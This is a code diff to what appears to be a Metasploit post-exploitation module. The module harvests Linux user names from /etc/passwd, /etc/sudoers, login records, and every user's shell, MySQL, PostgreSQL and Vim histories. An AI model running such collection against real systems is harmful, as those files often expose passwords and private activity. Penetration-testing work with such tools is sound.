@@ -37,20 +37,23 @@ def run
37
37
print_good ( "\t #{ distro [ :version ] } " )
38
38
print_good ( "\t #{ distro [ :kernel ] } " )
39
39
40
- users = execute ( '/bin/cat /etc/passwd | cut -d : -f 1' )
41
40
user = execute ( '/usr/bin/whoami' )
41
+ users = execute ( '/bin/cat /etc/passwd | cut -d : -f 1' ) . chomp . split
42
+ users = [ user ] if user != 'root' || users . blank?
42
43
43
- mount = execute ( '/bin/mount -l' )
44
+ vprint_status ( "Retrieving history for #{ users . length } users" )
44
45
shells = %w{ ash bash csh ksh sh tcsh zsh }
45
- shells . each do |shell |
46
- get_shell_history ( users , user , shell )
46
+ users . each do |u |
47
+ shells . each do |shell |
48
+ get_shell_history ( u , shell )
49
+ end
50
+ get_mysql_history ( u )
51
+ get_psql_history ( u )
52
+ get_vim_history ( u )
47
53
end
48
- get_mysql_history ( users , user )
49
- get_psql_history ( users , user )
50
- get_vim_history ( users , user )
54
+
51
55
last = execute ( '/usr/bin/last && /usr/bin/lastlog' )
52
56
sudoers = cat_file ( '/etc/sudoers' )
53
-
54
57
save ( 'Last logs' , last ) unless last . blank?
55
58
save ( 'Sudoers' , sudoers ) unless sudoers . blank? || sudoers =~ /Permission denied/
56
59
end
@@ -84,84 +87,44 @@ def cat_file(filename)
84
87
output
85
88
end
86
89
87
- def get_shell_history ( users , user , shell )
90
+ def get_shell_history ( user , shell )
88
91
return if shell . nil?
89
- if user == 'root' && !users . nil?
90
- users = users . chomp . split
91
- users . each do |u |
92
- vprint_status ( "Extracting #{ shell } history for #{ u } " )
93
- if u == 'root'
94
- hist = cat_file ( "/root/.#{ shell } _history" )
95
- else
96
- hist = cat_file ( "/home/#{ u } /.#{ shell } _history" )
97
- end
98
- save ( "#{ shell } History for #{ u } " , hist ) unless hist . blank? || hist =~ /No such file or directory/
99
- end
92
+ vprint_status ( "Extracting #{ shell } history for #{ user } " )
93
+ if user == 'root'
94
+ hist = cat_file ( "/root/.#{ shell } _history" )
100
95
else
101
- vprint_status ( "Extracting #{ shell } history for #{ user } " )
102
96
hist = cat_file ( "/home/#{ user } /.#{ shell } _history" )
103
- vprint_status ( hist )
104
- save ( "#{ shell } History for #{ user } " , hist ) unless hist . blank? || hist =~ /No such file or directory/
105
97
end
98
+ save ( "#{ shell } History for #{ user } " , hist ) unless hist . blank? || hist =~ /No such file or directory/
106
99
end
107
100
108
- def get_mysql_history ( users , user )
109
- if user == 'root' && !users . nil?
110
- users = users . chomp . split
111
- users . each do |u |
112
- vprint_status ( "Extracting MySQL history for #{ u } " )
113
- if u == 'root'
114
- sql_hist = cat_file ( '/root/.mysql_history' )
115
- else
116
- sql_hist = cat_file ( "/home/#{ u } /.mysql_history" )
117
- end
118
- save ( "MySQL History for #{ u } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
119
- end
101
+ def get_mysql_history ( user )
102
+ vprint_status ( "Extracting MySQL history for #{ user } " )
103
+ if user == 'root'
104
+ sql_hist = cat_file ( '/root/.mysql_history' )
120
105
else
121
- vprint_status ( "Extracting MySQL history for #{ user } " )
122
106
sql_hist = cat_file ( "/home/#{ user } /.mysql_history" )
123
- vprint_status ( sql_hist ) if sql_hist
124
- save ( "MySQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
125
107
end
108
+ save ( "MySQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
126
109
end
127
110
128
- def get_psql_history ( users , user )
129
- if user == 'root' && !users . nil?
130
- users = users . chomp . split
131
- users . each do |u |
132
- vprint_status ( "Extracting PostgreSQL history for #{ u } " )
133
- if u == 'root'
134
- sql_hist = cat_file ( '/root/.psql_history' )
135
- else
136
- sql_hist = cat_file ( "/home/#{ u } /.psql_history" )
137
- end
138
- save ( "PostgreSQL History for #{ u } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
139
- end
111
+ def get_psql_history ( user )
112
+ vprint_status ( "Extracting PostgreSQL history for #{ user } " )
113
+ if user == 'root'
114
+ sql_hist = cat_file ( '/root/.psql_history' )
140
115
else
141
- vprint_status ( "Extracting PostgreSQL history for #{ user } " )
142
116
sql_hist = cat_file ( "/home/#{ user } /.psql_history" )
143
- vprint_status ( sql_hist ) if sql_hist
144
- save ( "PostgreSQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
145
117
end
118
+ save ( "PostgreSQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
146
119
end
147
120
148
- def get_vim_history ( users , user )
149
- if user == 'root' && !users . nil?
150
- users = users . chomp . split
151
- users . each do |u |
152
- vprint_status ( "Extracting VIM history for #{ u } " )
153
- if u == 'root'
154
- vim_hist = cat_file ( '/root/.viminfo' )
155
- else
156
- vim_hist = cat_file ( "/home/#{ u } /.viminfo" )
157
- end
158
- save ( "VIM History for #{ u } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
159
- end
121
+ def get_vim_history ( user )
122
+ vprint_status ( "Extracting VIM history for #{ user } " )
123
+ if user == 'root'
124
+ vim_hist = cat_file ( '/root/.viminfo' )
160
125
else
161
- vprint_status ( "Extracting VIM history for #{ user } " )
162
126
vim_hist = cat_file ( "/home/#{ user } /.viminfo" )
163
- vprint_status ( vim_hist )
164
- save ( "VIM History for #{ user } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
165
127
end
128
+ save ( "VIM History for #{ user } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
166
129
end
167
130
end
0 commit comments